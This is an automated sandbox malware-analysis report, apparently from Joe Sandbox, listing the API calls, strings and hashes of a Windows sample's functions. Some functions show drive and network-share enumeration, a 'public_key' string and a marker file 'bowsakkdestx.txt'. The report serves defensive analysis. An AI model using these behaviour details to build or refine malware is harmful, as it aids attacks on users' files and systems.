lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043ACEB Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043ACEE
_memset.LIBCMT ref: 0043AD19
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,?,00000000,?), ref: 0043AD76
GetLastError.KERNEL32(?,?,00000000,?), ref: 0043AD92
_memset.LIBCMT ref: 0043ADA8

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Locale_memset$ByteCharErrorLastMultiUpdateUpdate::_Wide
String ID:
API String ID: 742067911-0
Opcode ID: d3d8bdbd0f91ce1f2c1441d5a3417d514f9a6198b0ac422b572c140bfb1cf56f
Instruction ID: c9ecf35b62825572b9c8e62b4d797814e3822faa64b6dd1b63504df10073b233
Opcode Fuzzy Hash: d3d8bdbd0f91ce1f2c1441d5a3417d514f9a6198b0ac422b572c140bfb1cf56f
Instruction Fuzzy Hash: D821F3306402159BDB219F92D884ABF3B66DF45716F48506BF8944AB81DB3C8C21CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

